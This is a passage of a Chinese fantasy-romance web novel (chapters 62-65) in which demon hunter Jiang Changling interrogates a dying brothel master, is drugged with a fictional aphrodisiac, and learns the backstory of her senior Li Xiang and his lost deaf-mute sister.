气氛凝重了会,楼主的眼珠悠悠地转向姜长泠,怨道:“看来你还真不适合穿那种衣裳...”
这种衣裳是哪种衣裳?
姜长泠才想起今天她被两个丫鬟引导去换了那身纱裙。
她皱着眉道:“本就没有人或妖生来就适合穿。”
闻言,楼主忍不住笑了下,不过又被血呛到咳了好几声:“你们凡人还不是喜欢自相残杀,又有什么资格找我问罪?”
“与其做一只温饱都解决不了的窝囊清贫妖,还不如在这要潇洒快活,反正别人的生死荣辱我也不在乎。”
“你这话的意思是幕后之人是个凡人?”姜长泠忽然开口问道。
楼主嘴角的笑明显地挂不住了,用着“敞开心扉却被人捅了一刀的眼神”看着她,脸色更像是吃了土一样难看,最后才挤出两个字:“不是。”
“都到了这一步了,你还是不肯说实话么?”姜长泠问道。
“我...我已经没什么好失去的了。”说完,楼主翻了个身,体内的疼痛暂时消停了下来,正面仰着能让他死得更舒服点。
姜长泠眸色黯淡,不禁联想到了钱恒亮手底下的那群何其不幸的妖仆。
她轻叹道:“我并不了解你的过去,亦
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不知你为何会帮那幕后之人做这些见不得光的买卖,但如果你是被迫的,我定会帮你。”
“哼,帮我?我可不信。”楼主斩钉截铁,像是抱了必死的决心。
姜长泠倒是有些不明白,这楼主的态度为何如此决绝,明明在她手上也是死,回到去无法交差也大概会是死路一条,怎么就更愿意死在那幕后之人的手里?
手掌上的伤痕还在隐隐肿痛着,她继续问:“你有亲缘在那幕后之人手上?”
“嘁,没有。”
“有把柄?”
“没有。”
“有爱人?”
“没有。”
“认识我?”
楼主刚想脱口而出没有,却又在这个问题前停顿住,觉得姜长泠在套他的话,所以他脑中飞速闪过答案说道:“认识。”
在说出“认识”后,他又意识到自己说错话了,这下即便受了内伤也难掩他的怒色。
起初,姜长泠只是觉得楼主不信任她可能是因为胁迫,但她转念一想起楼主的种种话语。
譬如一见面时他便说她长得眼熟,又说她不适合穿这身衣服。
她又想,这些话有没有可能说明楼主本来便知道她的身份?所以她又多心地问了句诈诈他。
没想到,这楼主的反应看起来还真像是知道她身份的模样。
但是,这又是从何而知的?
难不成在她装晕进来那会,那幕后之人也盯着她了?
太多疑问充斥在她脑海,她接着说:“原来你是因为我的身份才不信我。”
楼主灵光一现,装傻问道:“你什么身份?”
“铸剑的。”
“放屁。”
楼主下意识说出来后,又张大了眼睛死死地瞪着她。
简直是气不打从一处来,偏偏又拿姜长泠没有办法。
“该走了。”冷冽的声音落下,近在姜长泠身侧。
萧烬不知何时走到她身边停了下来。
其实他早已有些不耐烦,但并非因谈话,而是因为姜长泠手上的伤。
姜长泠也觉得询问地差不多了,再撬也不会再撬出什么有用的话来了,索性她也站起身来,对躺在地上的楼主道:“你已经没有价值了。”
这时,楼主彻底癫狂了起来,张牙舞爪地往空气扑腾了好几下:“你就是个不折不扣地虚伪贱人,打着要解救的幌子,实际上呢!活得好好的妖全都被你害死了!你到底有什么颜面说要帮我!”
话毕,楼主直着的身子又再弓了起来,整个人瞬间陷入了痉挛抽搐之中。
说实话,这句话的呐喊倒是让姜长泠真真切切地听了进去,她伸手去抓了萧烬的衣袖,示意他先手下留情。
萧烬看向她那紧攥着他衣袖的手还是先停了下来。
“你...你是说青竹城那群妖仆?”姜长泠忽然觉得喉头异常的苦涩,说出来的话也顿时没了底气。
楼主已经没了力气回答,两只眼睛一睁一闭,血泊中的身体也还剩下微弱的呼吸起伏证明他还活着。
她脑中猛然空白一片,仿佛又掉入了那自责的深渊之中。
62. 纵情
紧接着萧烬便托起了姜长泠抓住他衣袖的手,顺势握住开始帮她疗伤。
灵流缓缓从她的脉搏处流入,她便听见萧烬对她说:“这种诽语何必听信,你没有错。”
姜长泠看向萧烬,深如夜色的黑眸很是柔软,就像是又看见了当时他们那会初相识,萧烬还在隐姓埋名时候讨好接近她的模样。
那时姜长泠还以为他是个手无寸铁的失忆矜贵公子。
一阵暖意忽然在她心头漾开,心脏悸动的声音快得像密集的鼓点。
目眩神迷的感觉也逐渐攀上她大脑。
她也不知道自己究竟怎么了,似乎是自从嘴唇有过一阵酥麻的电流感便开始不舒服了。
这种感觉就像是自身中毒了一样,视线所及的人和景都有了重影。
姜长泠下意识反握住了萧烬的手踉跄的后退了几步。
谁知,就是这么一个动作,姜长泠再也站不稳,只能又拉着萧烬的手往他的方向走了两步,到最后不堪重负地倒在了萧烬身上。
清冽的松香霎时充斥着她的周围,她还有着轻微的意识,但身体连支撑她站着的力气都没有了。
她极力想保持清醒,可无奈意识越来越消沉,还是不可控地闭上了眼睛。
萧烬站在原地愣了半晌,总感觉胸前靠了个火炉。
昏迷过去的姜长泠就要向下倒去,萧烬立刻扶住她的肩膀。
真是奇了怪了,怎么会莫名其妙晕了过去,莫非是吃了什么不该吃的东西?
在座的权贵本以为就此可以躲过一劫,结果下一瞬,此起彼伏的老爷叫唤声响起,接着一个又一个的人怦然倒下,连同着身旁的女子也尖叫出声。
不过是权贵们都死了大片,侍女们都是被吓的。
侍女们本还傻傻呆在位子上,只见其中一侍女撒腿就冲向门口,剩下的侍女们才发现能动了,也跟着跌跌撞撞跑了。
最后席位上只留下抖得像筛子一样还不能动的刘文烈。
“月饼,你过来看看。”
萧烬刚把姜长泠平放在地上,符月炳就从门那边走了过来。
姜长泠就算是昏迷过去,眉头也还是皱着的,可见其煎熬。
“姜捉妖师怎么突然昏厥了过去?”见此状,符月炳比萧烬还要心急,蹲下身来直奔向姜长泠的手腕脉搏,“公子可还无恙?”
萧烬默默松开姜长泠的手,摇摇头道:“无感。”
这下符月炳安心了,继续替姜长泠把脉。
他静静地听了会,发现脉象是为加速紊乱,但看来这症状也只会是一时半会的,毕竟要是有这样脉象的人恐怕早已经仙去。
“这脉象来看,像是中了某种毒,但具体是什么毒那就无从可得了,倒是暂无生命危险。”符月炳道。
萧烬思忖半晌,站起身来,朝那奄奄一息的楼主走去,居高临下地瞥了他一眼,而那蜷缩在血泊的楼主又猛然尖叫起来,额角的青筋怒张,痛得整个人都在呕吐。
血迹混迹着胆汁都出来了。
“我、说。”楼主终于从嘴里蹦出两个完整的音节。
“嗯。”萧烬应了声,暂时收了手。
楼主用痉挛僵硬的手指抹了抹嘴边的血迹,长长叹了口气,声音有气无力:“纵、情、散。”
接下来他恐怕也吐不出来再多的字了,于是萧烬还是转头看向了符月炳:“这可是□□?”
符月炳点点头道:“嗯,只不过这药药性太烈,不宜人用,一般都是畜用的,她昏迷过去或许也与这个有关。”
楼主剩下最后一口气,听到这里心想自己也是要走到尽头了。
而就在符月炳说完这句话后,萧烬的脸色肉眼可见地沉郁下来,又问道:“可有解药?”
“尚未听闻。”符月炳板着张脸低下了头。
他总感觉自家魔君隐隐有些生气,但这生气的由头又无从可知。
“那外面的人都遣散了么?”萧烬问道。
“结界已破,守卫尽数灭亡,其他无辜的已经全部放跑了。”
“嗯。”萧烬道,“这人先续命留一口气,尚且还有价值,先随便找个地方捆起来关着。”
接着他又转眼看向刘文烈:“至于你,把剩下的青楼地点都用纸笔交代清楚了可暂且饶你一条狗命。”
刘文烈内心最后尚存的一丝傲气都没有了,立马顶着血迹斑斑的大腿跪下磕头:“谢大人饶我一条狗命,谢大人...”
*
连庆阁那边暂时收了尾,萧烬则将姜长泠横抱着回到了雀云院中。
就在他要把姜长泠放回床榻上时,她不知何时醒了,温热的手便这么从他的肩膀上绕过他的后颈,头还蹭了两蹭他另一侧的肩膀又安然地闭上了眼睛。
他顿时僵在原地变得有些无措。
但他总不能一直这么抱着吧,这么想着,萧烬还是俯身弯腰把姜长泠放置于床榻上,只不过姜长泠十分顽强地环着他的后颈,导致他被迫弓起身,手肘撑着床便和她贴地极近。
姜长泠睁开了眼,体温太高的原因,她双眸看起来颇有些水雾朦胧,此时正迷离地看着他。
在连庆阁给她上的妆还没卸掉,唇上是她胡乱抹晕开的唇脂。
萧烬轻轻挣开她挂着的手臂,对她说:“你中毒了,好好歇息。”
谁知,他刚直起身来欲要离开,另一头姜长泠又牵住了他的手。
“别走。”
几近是祈求的语气。
萧烬不懂这□□的威力,只觉得应当是会煎熬一点,也没想到会如此煎熬。
他看着她,还是没把手抽走。
于是姜长泠牵他的手更紧了,长长的睫羽扑朔了好几下,握着他的手朝自己的方向拉了一下。
萧烬无可奈何地也跟着靠前走上几步。
接着姜长泠闭上了眼睛,捧起了他的手极为克制地落下了一吻,萧烬甚至能在手背上感受到她急促呼出的温息。
柔软的唇瓣碰触在他的手背时,尽管他已经提前知道了这个行为,身体也还是不可避免地跟着她颤了颤,他下意识就要把手抽回来,又被姜长泠抓了回去。
萧烬:...
庆幸的是姜长泠闭上了眼睛便没再睁开,而是像当成了宝贝一般这么抓着他的手枕在脸边睡着了。
还好这纵情散不足以让她失控。<
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p>姜长泠紧闭着眼睛,胸腔里似乎有一把火从内脏灼烧到外表,里里外外都滚烫无比。
脑海中浮现的一幕幕皆于萧烬有关。
而且比起昏迷更可怕的是——她还有意识。
她越是做出逾矩之事,她便更要清醒半分。
但清醒是一回事,而身体能不能控制那又是另一回事,所以她此刻正清醒地握住萧烬的手…当枕…
只因她现在完全不受控,只有闻到萧烬身上的味道才能好受些,再者,她闭上眼睛还能防止自己做出什么太过冲动的事。
还好萧烬并未说什么怨言。
不知过了多久,萧烬觉得自己手臂不仅是麻了,还被捂得火烫,只能眼巴巴看着外面的天色由亮转暗。
姜长泠也是倔得不行,全程都拽着萧烬的手没放开过。
即便她的梦里是混沌一片,也还是握着萧烬的手浅浅地睡着了。
这其中也有周遭的幻境实在是太安静的缘故。
于是她自然而然地翻了个身松开了萧烬的手,终于有了醒来的意思。
浑身的燥热已经退去了大半,取而代之的是浑身的汗水黏腻,房中的冷空气弥漫不免让她觉得凉飕飕的。
她缓缓睁开眼睛,盯着床上的顶帘好一会才幡然醒悟。
犹如一盆凉水从头泼到脚,透心凉。
她刚才是不是还握着萧烬的手来着?
她再猛然转头看向床前。
...
竟是空无一人。
可她确确实实是被萧烬抱着回到的雀云院,对于这段记忆姜长泠十分深刻,不会有错的。
她还貌似挽留了下萧烬,抓着他的手跟他说别走。
再后面的便是她握住了萧烬的手,再往后的她便不记得了...
难不成这些都只是她的臆想?
再抛开这些个不谈,就在她昏迷前,她应当还有些事情没有问清楚楼主,也不知连庆阁那边如何了。
想到这里,她立马翻身下了床,去柜子里寻了一套新衣服,先去沐浴了再说。
“长泠你终于醒啦,你昨晚哪去了也不见你回来。”解宿的声音忽然从她身后冒出。
姜长泠拿好换洗的衣物转过身来:“去了一个名为连庆阁的地方,里面果真有些见不得人的勾当。”
解宿细致地察觉到姜长泠的发髻有所变动,再加上她的唇上似乎还留有一点红脂便指着她的嘴唇问道:“你...你不会真的以身做局了吧?”
姜长泠顺着她的视线抹了抹嘴唇,又再转眼看向了铜镜。
镜中的自己的脸干净无暇,而在那连庆阁中上的胭脂水粉似乎是都被擦拭干净了,除了唇上还余留下一点。
“我...”姜长泠怔愣住,“也算是吧。”
她继而问道:“你什么时候来的?可有见到过萧烬?”
闻言,解宿表情忽然有些不自然,却还是笑着说:“我刚来的,没见着他。”
其实这话说的她自己都心慌。
就在中午那会,整个厢房中便镀上了一层结界,饶是她想进来也进不来。
更诡异的是,这结界还一直持续到了晚上。
63. 钟府
而也就在不久前她才眼看着那结界撤下来,萧烬蓦然出现在门外,还特意叮嘱了她别跟姜长泠说他来过才离开的。
她实在是太好奇这两人到底在里面干了些什么。
姜长泠点点头:“我先去沐浴,连庆阁的事情待我回来再与你细说。”
解宿再看向姜长泠鬓角贴脸的发丝,明显是湿的。
这大冬天的,怎么会出这么多汗?
尽管如此,她还是忍下了疑惑道:“嗯,快去吧。”
解宿无意垂头,便瞥见桌上静静地躺着一张纸,上面画了数条脉络的地图,其中还写了地名。
她拿起来问道:“诶,慢着,这桌上的纸是什么?”
姜长泠被叫回过身,看见解宿手中那张纸时眸中也装着和她同等的疑惑。
她接过纸张仔细地看了一会才反应过来,这貌似是余下“连庆阁”的方位。
这…应当是萧烬帮她要到的。
“这是在连庆阁中谋来的其余清剿窝点。”姜长泠握着纸张道。
“噢。”解宿似懂非懂地应下。
姜长泠大致地看过一眼便收起纸张,抬头问道:“对了,昨晚那大娘如何了?”
解宿道:“她在这坐了一晚上,今日清晨就走了。”
“麻烦你了。”姜长泠说完,又瞥向房中的角落,发现一直蹲这的张福也不见了,“张福…她也走了吗?”
“没呢,她只是在外面坐着罢了。”解宿指了指外面。
闻言,姜长泠踏出房门,冷风刮过,她不免打了个寒战,转头一看就能见到张福坐在门口旁边。
而张福也抬起头呆呆地望向她。
她忽而有些悲悯。
在历经过连庆阁后,她难以想象张福作为一名聋哑人是如何在那种地方存活的。
就连临死前也都是悄无声息的。
*
姜长泠神清气爽出来时,恰好听到外面的打更人敲锣。
现在已近是酉时了。
她一天没进食,这会肚子饿得不行。
“你是不是到点该用膳了。”解宿问道。
“嗯。”姜长泠应道。
就在她准备出门觅食之际,她随意瞥了几眼雀云院中亮起的灯。
阮诗情厢房中的灯依旧未明。
看来许堂他娘亲说的阮家被捕还是真的。
这事发怎会如此突然?
这时,迎面正走来两名捉妖师,纷纷向她投去艳羡的目光,其中一人还对她直直夸道:“姜同门你真厉害。”
姜长泠被这么一夸不免有些茫然,但因为不熟,也没有因此追问下去。
而呆在这的解宿便知道发生了什么,她兴奋道:“今日你们妖都不是开朝会吗?我去旁听了。”
“你们那管事的孟大人说,好像是因为什么一处的缚妖师也恰好在密林试炼,导致捕妖林和密林重合,故而将你们送去了密林,然而那群高阶捉妖师则是送去了捕妖林处,而你在密林中的光荣事迹也算是传遍妖都上下了。”
解宿说得起劲时还拍了一把姜长泠的肩膀:“只不过当时你不在场,太可惜了。”
她听解宿这么说才猛然想起今日她还身为一名捉妖师,还是要去妖都巡守值勤的!
原本想着连庆阁那边一个晚上便能解决,谁知她后来竟不小心中了楼主中给她下了纵情散,导致她睡了一个下午才得以缓解。
“放心吧,我看你没回来已经跟黎追说了你有急事出了城,今天回不来了。”解宿得意道。
姜长泠悬着的心又再一次放下了对她笑道:“谢谢你啊。”
“举手之劳。”
这个点恰好妖都的公膳堂还开着,姜长泠索性就近去公膳堂觅食了。
恰巧的是,就在她用完膳刚走出门时便刚好撞上了黎追一同离开。
“姜师妹?”黎追有些惊喜,“这么快便回来了?”
姜长泠行礼笑道:“嗯,好巧,这都碰见黎大师兄。”
她本是想寒暄两句作罢,但她忽然想起连庆阁那边的事,再抬起手匆匆瞥了两眼手腕,发现那楼主余留的金丝尚且还在她手里。
这说明楼主还活着。
但大抵也是被萧烬控制住了。
“不知黎大师兄可还闲暇?”姜长泠蓦然问道。
黎追愣了下随即点点头:“嗯,怎么了?”
“就在今日我发现了有些影响淮庆城百姓安危之事,此事涉及广泛,与妖亦有关。”姜长泠直言。
而在一旁的解宿则有些震惊:“你就这么把这些说给他听了?”
黎追的表情瞬间有些凝重:“什么事?”
“不如借一步说话?”
“嗯,刚好我准备去钟婆家一趟,路上边走边说吧。”
“好。”
路上,解宿和黎追都听得尤为认真,不过是黎追的眉头没有松过,而解宿则是一副波澜不惊的模样。
“听师妹这么一说,这其中的各种利益纠纷着实复杂,且这组织的幕后之人势力也不容小觑。”黎追神情很是严肃,“方才师妹说的刘文烈,此人确实在城中小有名气,是个不折不扣的纨绔子弟,年纪不小,脾气也挺大的,也算是在商界有一席之位。”
“这楼主行事残暴,恶贯满盈,姜师妹,你此行未必有些莽撞了,回来可有负伤?”
姜长泠摇摇头:“并未负伤。”
好在有贵人相助。
“既然连庆阁与城中权贵牵连颇深,又还有别处的窝点,此事非同小可,不如先把此事禀告主办大人,再派遣其他同门一并加入清剿行动?”黎追问道。
“黎大师兄言之有理,不过只是怕此举会引起城中恐慌,容易打草惊蛇罢了。”姜长泠顾虑道。
毕竟青竹城出的那桩事与这连庆阁的做法终归是有些相同之处,谁都说不准这跟妖都又有什么挂钩…
“说的也是。”黎追苦恼地摸了摸后颈,“这么说姜师妹你逃出来的时候又请神了?”
姜长泠干笑两声:“…也只能如此了。”
这时,她隐隐发现黎追身侧似乎还跟随着一个人影。
不,准确来说应当是鬼影。
张福不知什么时候也跟了回来。
“不过…此行
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我还有一件事想说。”姜长泠犹豫出声。
“嗯?”
“是有关于师兄妹妹的事。”
黎追怔然,面色还是一如既往地沉重:“什…什么事?”
两人聊了一路,正好说到这句话时便到了钟婆的府门前。
沉重的府门忽而被缓缓拉开,伴随着年迈的声音响起:“小追你来啦。”
黎追连忙上去帮忙推开府门,这才露出钟婆的全貌。
钟婆穿着不起眼的朴素灰色棉衣,头发只用了一根木簪子利落地盘起,尽管如此也还是难言脸上的衰色。
可就在见到姜长泠的那一刻,钟婆的眼睛还是不可避免地睁大开来,瞬间年轻了好几岁,激动地语无伦次:“姑娘…姑娘…这是你的娘子!?”
“噗。”黎追摆摆手,“婆婆说啥呢,这是我师妹,可别瞎说。”
“嗐,害我白高兴一场。”钟婆还是很有劲的,赶忙扯起了姜长泠的袖子,生怕她跑了,“进来坐呀,姑娘。”
姜长泠也只能无奈笑笑跟着钟婆走了进去。
“现如今我终于知道你为什么瞧不起黎追了。”解宿在旁边幸灾乐祸道,“有萧公子那等绝色,瞧不起我也是理解的。”
听到解宿说这一番话,姜长泠的耳根唰地一下就晕红了。
“姑娘芳名何许呀?”钟婆倒是比谁都要积极,甚至握住了姜长泠的手往里走去。
“钟婆好,晚辈名为姜长泠。”姜长泠笑道。
“哎呦,这个名字好啊,难怪人如其名,都水灵灵的。”钟婆笑得更欢了。
“多谢夸奖。”
黎追只好默默殿后关上府门,跟在后面嗔怪几句:“婆婆,什么难怪人如其名,我怎么从来没有听过你这么夸我呢?”
“你不用夸。”钟婆匆匆说下一句,便拉着姜长泠进了主屋。
“你怎么还偏心呢。”黎追不满嘟囔一句。
“行了行了,你也俊你也俊。”钟婆无奈地挥挥手。
客厅中,姜长泠不自然地坐在座位上,端坐地笔直,因为正有一道目光炙热地贯彻她的全身。
而黎追则是去忙活斟茶倒水的事了。
“长泠呐,你家住何处,令尊令堂又是做什么的?”钟婆问道。
“婆婆,一上来就问别人的家事是不是太冒犯了些。”黎追端好茶水,递给姜长泠和钟婆各一杯。
姜长泠双手捧过茶杯道了声谢,旁边坐着的钟婆则是慈眉善目地开怀笑了一声:“确实是我冒犯了,是我有些太着急想给小追找个好人家了,长泠你可别介意啊。”
“无碍。”姜长泠有些局促地捧着茶杯,刚才和黎追说得好好的,如今都不知该如何开口提及张福的这件事。
“我方才在门口好像听到你们俩在谈话,在聊什么呢?”钟婆笑眯眯道。
黎追也握着一杯茶坐了下来,有些幽怨地看向钟婆:“方才师妹说要说一件有关于我妹妹的事情,还没说呢,你就开门了。”
“噢,那这又是我的不对了,打扰你们了。”钟婆面色不改,倾身向姜长泠去,“长泠你说说,是什么事情?”
64. 李家
“我猜测...钟婆的孙女和黎大师兄的妹妹应当是为同一人。”姜长泠攥着茶杯,手指不安分地在杯壁外摩挲着。
其实这个猜想,黎追早在认识钟婆时泯灭了,但他心中仍是存在侥幸,所以这么久以来,他都没放弃有空过来钟婆家探探的念头。
说不定哪天就能看见钟婆家的孙女回来了,他也好放下执念…
可他没想到有那么一天,有那么一个人居然就这么赤/裸/裸地把他那荒谬的幻想给转变为现实。
“此话怎讲?”黎追问道。
而钟婆也是收敛了笑意,认真地盯着她。
“实不相瞒,我能看见飘荡在这世间上的亡魂。”姜长泠道,“之前我偶然路钟府,便看见一名女子蹲守此处,后来跟她沟通过才发现她听不见声音也不会说话,但是她认得自己的名字,所以这几日来她总是跟着我,想让我帮她点什么。”
“但她表达有限,我只知道她生前过得不好,所以逝世后才想家,想回来看看你们。”
她说这话前,早已做好了不被相信的准备,却没想到两人都没有开口出声质疑她,只是默契地沉默了一会。
“我就知道...她已经去了...”钟婆捂住脸,声音都发着颤。
而张福就坐在他们的正对面,一无所知地看着他们。
“至于为何我会说是同一人,那是因为我曾见过她盯着师兄佩戴的锦囊而哭泣,想必也是识得这个锦囊。”姜长泠道。
黎追本也不相信会有如此巧合之事,但如今他也不得不信了。
“我妹妹她是个苦命人…五岁时便与我不幸走散了,那会我还不叫黎追,我叫李响,她叫李珠…”黎追苦涩地笑了下。
那是一年冬天,李家所住的穷乡僻壤闹了饥荒。
冻的冻死,饿的饿死。
李父李母已经顾不得在这的家,只好带两个孩子跟着村里的流民去往派下赈灾粮的地方。
李珠还小,所以在这寸步难行的雪路她被背着走了半路。
寒风刺骨,明明李父李母两人穿得比李响要多,却骂了这雪天一路,李响却在路上一声没吭。
“娘的,这一遭直接干到了黑天。”李父背着李珠,见要到了便连忙把李珠从背上放了下来。
“真是不容易。”李母也帮忙拍去李父肩头上的落雪。
李珠不会说话,下了地也只是眼巴巴地盯着这陌生的周围紧紧地握住李响的手。
这附近的流民不少,大多数都是从邻村里跑出来的。
“这太乱了,李响你看好珠珠。”李母语重心长地交代,视线便已经随着李父向前走的背影跟去了。
前面几口大锅下窝着灶火,白烟袅袅,尽管只是熬着白粥,也不免让饿了好几天的人垂涎欲滴。
“孩他爹你也不等等我们。”
话音落下,李母也赶快跟了上去。
李珠不明所以,只是转头看向李响,眼里装着疑惑。
“不怕,爹娘没有不要我们,我们马上就要有吃的了。”李响浑身冻得快要结冰,却还是一边笑着一边给李珠比划了手势。
李珠摇摇头也还是表示看不懂,李响只好摸了摸她的头,牵着她的手向前走去。
排了许久的队伍,李父和李母也终于是能捧上了两碗热粥和两个馒头找了个角落坐了下来,而李响和李珠是后到的。
李父狠狠嗦一口热粥,开怀道:“不亏是老子的儿子,冬天不怕冷,夏天不怕热,人多不怕生,不过是七岁就能把这小哑巴照顾地妥妥帖帖。”
“你迷糊了,李响都已经八岁了。”李母细声细气道,顺便将自己手中的馒头撕了一块大的给李父,而剩下一半则是掰成两半分给了他们俩。
“岁数不重要,重要的是他能像老子。”李父又打了个嗝。
而李响端着碗依旧没说话,默默地将方才李母分过来的馒头放在了李珠的碗里。
“娘的,李响你就是有一点不好,不够豪迈,嗓门也不够亮!”李父又接着道。
“李响还小,还能成长,你急些什么。”
“哎,你说老大这样就算了,老二怎么也这样,老二更惨,妥妥的是个聋子哑巴,还谁的话都不听,只听老大的,老子也真的服了。”李父瘫坐在台阶上,就像是喝了酒,苦水不断地往外吐。
本是想引起周边人的同情,但周边的人都只专注着自己低着头蜷缩起来取暖,无人搭理他。
见此状,他也不想自讨没趣,干脆在原地挠挠头噤了声。
这一晚,大家伙都围坐在灶火旁睡着的。
但李响抱着李珠无论如何都睡不着,半夜被冻醒后睁眼环视一周便发现自己爹娘都莫名不见了。
他第一反应是惶恐,再就变得平淡了。
就算被抛弃了又如何?
独自一人带着妹妹远走高飞这个想法早已在他脑中预演过无数遍了。
他闭上眼睛又再将怀里的人搂得更紧了些。
其实他爹娘早就不想要他妹妹了。
这些他都知道。
数不清多少次他外出一回家就看不见李珠。
一次是在别人邻居家。
一次是在湖中。
一次甚至恰巧看见他爹拿着绳索追着李珠。
“哭哭哭,一天到晚就知道哭,还哭得那么难听,这种人不配为李家的人!”他爹很是不耐烦。
“孩他爹你消消气,咱不是还有一个健全的儿子,你老是拿珠珠撒什么气。”他娘语气蔫蔫地在旁边打圆场。
而李珠哭得沙哑躲在他背后。
“有什么事都冲我来,珠珠是无辜的。”
这个场景他亦不知已经见到过多少回,甚至在入睡的夜里都会梦到。
李珠亦不知为何两个生她养她的人要如此对她,只觉得李响是这个世上唯一会待她好的人,连夜晚都是紧牵着李响的手入睡的。
另一头的李响则是想不通,李珠是她的亲人,是他的妹妹,本就已丧失了听见声音和说话的天赋,这点便足以让他坚定要守护她一辈子的信念。
可为什么到头来最大的敌人居然是爹娘?
每每想到这里,他便会在暗中流泪。
他只是想让
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妹妹活下来,为何如此艰难。
后来他也学着李珠沉默寡言。
出门后也会带着她。
久而久之,他爹娘眼不见心不烦,加上李响的袒护,对李珠也没那么排斥了。
可谁知,这一场饥荒,只是出了趟远门竟是将他们永远地抛在了尘世间。
日光倾洒,那灶子里的火早便被烧没,而周边还有零丁几人没有醒来。
李响睁开眼睛,本祈祷着自己在凌晨中看到的都是假象,可事实就这么冷冰冰地摆在他眼前。
这块地方,说离城远又不远,近又不近,恰好卡在这中间。
昨晚他还没睡着时便听到有人说得去城里才行,因为这不再供食了。
于是乎他轻轻晃醒李珠,一个小巧的粉色锦囊便从她怀里掉了出来。
李珠很快睁眼,醒来后第一反应竟是赶紧把那掉下的锦囊捡回来。
李响倒是十分好奇这个锦囊的来源,指了指那个锦囊示意着疑问。
李珠坐起身来,两个铜铃般大的眼睛微微弯起,把这粉色的锦囊递了出去。
“送我的?”李响自言自语地接过锦囊。
李珠满意地点点头。
他打开了这锦囊,只看见里面装了些不知名的香料。
不用想也能知,这锦囊应当是李珠在哪处地方捡的。
他也只好回以笑意,将那锦囊收入胸襟之中后摸了摸她的头:“谢谢珠珠。”
很快,李珠也察觉到了不对劲的地方,她爹娘哪里去了?
李响却是直接牵起李珠的手,让她只注意到自己。
可就算是相处了这么久了,李响也还是不知该如何与李珠沟通,只能用一些简短的手势来表达浅表得意思。
他想了想,拍拍自己胸脯,再用自己的另一只手捏了捏她的脸蛋,勉强扯出笑容来才罢休。
李珠揉了揉脸蛋,看着身后白光降临的李响笑了笑,好像大概也领悟到了他的意思。
周围的人也陆陆续续醒来,李响为自己和李珠能活下去,自然是向其他人问了路。
好在被问的人也算是个好人,一路将他们两个带进了城中。
到了发放赈灾粮的点位又近夜晚,两个人饿得肚子咕咕叫才迎来了热食一顿。
可旁边的李珠却不想吃把白粥推给了李响。
他还以为是李珠谦让,直到李珠指了指自己的肚子摆摆手,整个人有气无力地瘫在他身上时,他才意识到问题的严重性。
太烫了。
这并不是不饿,而是发烧烧到没胃口吃下东西了。
天寒地冻,来时的路霜雪不断,李珠何曾吃过这些苦,发烧也是常理之内的事情。
可李响完全没有意料到他妹妹生病了又该如何是好。
事情发生地突然,李响想都没想便朝着周围大喊:“我妹妹病倒了!有没有人可以来救救她!”
周围一片穿着朴实,甚至有些褴褛的人就这么端着赈灾派下的白粥,若无其事地转头看向他们。
那眼神只是好奇,并无半点怜悯或是想帮忙的意思。
65. 黎追
李响看着这些迎上来的陌生目光,只感觉无助。
带着妹妹出走这件事他还是想得太简单,除了要解决温饱问题,他竟忘了还有生病这一事。
人群中离他们近的一个人忽然出了声:“小孩,你爹娘哪去了?”
李响无措地用手背贴着李珠的额头,闻言回过头来道:“他们抛下我们了。”
三三两两的人忽然笑了起来。
“要我说啊,是我我就不活了。”
又一阵笑声响起。
“小伙啊,这里可没人能帮你,你要是真的想活,我建议你啊,赶紧在大街上找个大户人家求一求,说不定别人可怜你也就帮你一下了。”
“求?”李响呆呆地重复了一遍,又转头看了眼昏过去了的李珠。
“各位好心大哥可否在这帮忙照看一下我妹妹?我很快就回来。”李响站起身来,诚恳地对着周围的人跪下一拜,行了个大礼。
“哎哟喂,男儿膝下有黄金啊,别跪了,赶紧去吧。”
李响闻言抬头道谢,急忙之中回头再看了李珠一眼才尽全力向远处跑去。
泼墨的夜晚加上极寒的冬天,街上压根没见到几个行人在走动。
这里与他而言很是陌生,小巷弯弯绕绕更是让他找不着北。
他并不知那群人口中所说的大户人家还是指的是怎样的人,情况急迫,他也只好随便找了个大门敲响。
“谁啊?”府门内传来苍老的声音。
“请问有人吗,我有急事相求!”李响听见有人回应以为有了希望,立马在原地跪得端正。
那老人在门口又问道:“哪来的小孩?叫什名谁报上名来。”
“我是从村里出来,我叫李响,因为避难所以我迫不得已来到城里,我妹妹生病了...”
还不等李响解释完,老人立马猛地一忒:“滚!个破乞儿还想碰瓷,门都没有!”
李响冷不丁地被泼了一盆冷水,心里很是不好受。
毕竟他从小到大,见到的最狠心的人也就是他爹娘了。
他在内心哄了哄自己,又接着去了下一家。
于是换来了无数次拒绝以及唾骂。
毕竟无人不知这段时日尤为敏感,时不时来几个上门讨食的也不知碾走多少个了。
居住在这小有脸面的富人很是清楚这里的玄机,若是哪家哪户愿意施舍他们,他们便会一窝蜂地逮着那户人家薅。
李响满身尘雪,膝盖都跪僵了,还是没有求到一个人愿意帮他。
他垂头丧气地准备回去,路上便偶然遇见了一户很大阵仗的队伍经过,队伍为首的两个仆人正提着灯笼,还有两个仆人正替着两个穿着雍容华贵的家主撑伞,尾后还跟着两个带刀侍卫。
他靠着墙边踌躇着,刚踏出一只脚而又立马收了回来。
只因刚才被骂得太多,他忽然有些心肝胆颤不敢再贸然上去求人。
两个在前提灯的仆人在越过他时,后面随着的一位妇人便开了口:“停一下。”
李响无措地抓紧衣袖,心想着他们停下来定是与他有关。
“夫人?”跟在妇人旁的家主愣住,轻声询问了一句。
接着暖黄的灯火便映照在了他的脚边。
“孩子,怎么这么晚了还停留在外面?”
温婉的声音不免让李响卸下防备,抬头向妇人看去。
没有刻意地卖惨,满身的狼狈都是他被抛下的证明。
他见事情有转机,立马噗通地跪下:“求求你们,救救我妹妹吧!”
膝盖还没跪得疼痛难忍,他便立马被拉了起来:“先起来,不必行如此大礼。”
李响觉得这是拒绝的意思,执拗地想要继续跪下:“求求你们了,我们已经无依无靠了。”
“傻孩子,有些什么事情都先站起来说。”妇人还是将他拉了起来,顺势整理了一番他的面容。
这时,身后的带刀侍卫便向前走了一步拱手:“黎夫人,最近郊外饥荒,许多乞丐难民一哄入城,恐怕这小儿也是其中之一。”
“怎么办是好呢,羡骅?”黎夫人转头看向名为明骅的男人,无奈地笑了笑。
黎羡骅闻言也上前几步来瞧瞧李响,嘴角也挂着淡淡的笑意:“孩子,你刚才说你无依无靠,可是爹娘都不在身边了?”
李响点了点头,忽然有些参不透面前这户人家的想法。
“看来天意如此,早日才去的庙里求子还真灵验。”黎羡骅对黎夫人笑道。
而周围的仆人和侍卫也明显开心了起来。
“你妹妹现在何处,赶紧接到我们府上看太医吧。”黎夫人轻声道。
